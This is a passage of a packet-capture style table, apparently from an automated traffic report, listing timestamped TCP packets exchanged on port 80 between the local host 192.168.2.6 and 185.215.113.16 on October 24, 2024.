Oct 24, 2024 18:08:21.475334883 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.475349903 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.475368023 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.475384951 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.475399971 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.475406885 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.475430965 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.476108074 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.476125002 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.476150990 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.476155043 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.476167917 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.476183891 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.476196051 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.476198912 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.476217985 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.476226091 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.476241112 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.476257086 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.476265907 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.476273060 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.476289034 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.476300955 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.476310968 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.476325989 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.476340055 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.476346970 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.476357937 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.476367950 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.476373911 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.476396084 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.476396084 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.476408958 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.476430893 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.477189064 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.563716888 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.563761950 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.563802958 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.563810110 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.564040899 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.564074993 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.564084053 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.564112902 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.564146996 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.564152956 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.564189911 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.564223051 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.564274073 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.570945024 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.571002960 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.571007967 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.571038008 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.571089983 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.571091890 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.571147919 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.571196079 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.571249008 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.571284056 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.571285009 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.571309090 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.571333885 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.571371078 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.571419001 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.571433067 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.571491003 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.571538925 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.571546078 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.571594954 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.571639061 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.571644068 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.571677923 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.571685076 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.571712017 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.571746111 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.571760893 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.571780920 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.571815968 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.571849108 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.571862936 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.571882963 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.571916103 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.571902990 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.571970940 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.571986914 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.572005987 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.572052002 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.592226982 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.592257977 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.592309952 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.592312098 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.592348099 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.592402935 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.592454910 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.592458010 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.592492104 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.592526913 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.592535973 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.592557907 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.592596054 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.592605114 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.592629910 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.592634916 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.592664003 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.592711926 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.594116926 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.594172001 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.594207048 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.594258070 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.594259024 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.594295979 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.594352961 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.594356060 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.594387054 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.594412088 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.594420910 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.594468117 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.594475031 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.594528913 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.594577074 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.594579935 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.594614983 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.594669104 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.594702959 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.594712973 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.594743967 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.594753027 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.594810963 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.594867945 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.594877005 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.594901085 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.594934940 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.594944954 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.594970942 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.595002890 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.595040083 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.595073938 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.595083952 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.595108032 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.595158100 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.595160961 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.595195055 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.595228910 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.595253944 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.595268011 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.595336914 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.595360994 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.595391989 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.595442057 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.595474005 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.595499039 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.595506907 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.595518112 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.595540047 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.595572948 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.595599890 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.595624924 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.595660925 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.595685959 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.595716953 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.595771074 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.595782042 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.595824003 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.595856905 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.595890045 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.595902920 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.595923901 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.595952988 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.595957041 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.595990896 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.595999002 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.596023083 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.596055984 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.596065044 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.596088886 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.596122026 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.596154928 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.596164942 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.596188068 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.596219063 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.596220016 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.596257925 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.596288919 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.596301079 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.596323013 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.596354961 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.596368074 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.596389055 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.596400976 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.596421957 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.596453905 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.596484900 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.596499920 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.596518040 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.596520901 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.596549988 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.596581936 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.596604109 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.596613884 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.596647024 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.596678972 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.596689939 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.596712112 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.596745968 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.596752882 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.596779108 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.596787930 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.596815109 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.596851110 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.596879959 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.596901894 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.596916914 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.636944056 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.636979103 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.637013912 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.637064934 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.683238029 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.683293104 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.683391094 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.683428049 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.683474064 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.683542967 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.683573008 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.683608055 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.683609962 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.683645010 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.683676004 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.683685064 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.683708906 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.683741093 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.683752060 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.690407038 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.690469027 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.690479994 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.690515041 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.690547943 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.690558910 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.690583944 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.690618992 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.690646887 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.690656900 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.690690041 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.690702915 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.690781116 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.690817118 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.690821886 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.690885067 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.690917969 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.690938950 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.690952063 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.690984964 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.691000938 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.691020966 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.691052914 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.691097021 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.691112995 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.691154957 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.691163063 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.691196918 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.691230059 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.691239119 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.691262960 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.691297054 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.691339970 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.691380024 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.691412926 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.691433907 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.691450119 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.691483021 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.691517115 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.691520929 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.691550970 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.691591024 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.711575985 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.711643934 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.711828947 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.711880922 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.711914062 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.711922884 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.711947918 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.711982012 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.712014914 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.712021112 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.712048054 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.712080002 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.712105036 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.712111950 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.712115049 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.712153912 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.712397099 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.712687969 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.712722063 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.712755919 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.712804079 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.713009119 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.713059902 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.713068962 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.713103056 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.713140965 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.713238955 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.713289022 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.713323116 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.713361025 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.713371038 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.713418007 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.713423967 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.713474989 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.713510036 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.713511944 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.713560104 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.713593960 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.713597059 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.713627100 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.713676929 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.713704109 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.713711023 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.713746071 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.713778019 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.713781118 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.713813066 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.713845015 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.713850975 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.713872910 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.713898897 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.713932037 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.713967085 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.713983059 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.714034081 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.714066982 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.714082956 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.714117050 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.714150906 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.714184046 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.714184999 CEST	49744	80	192.168.2.6	185.215.113.16
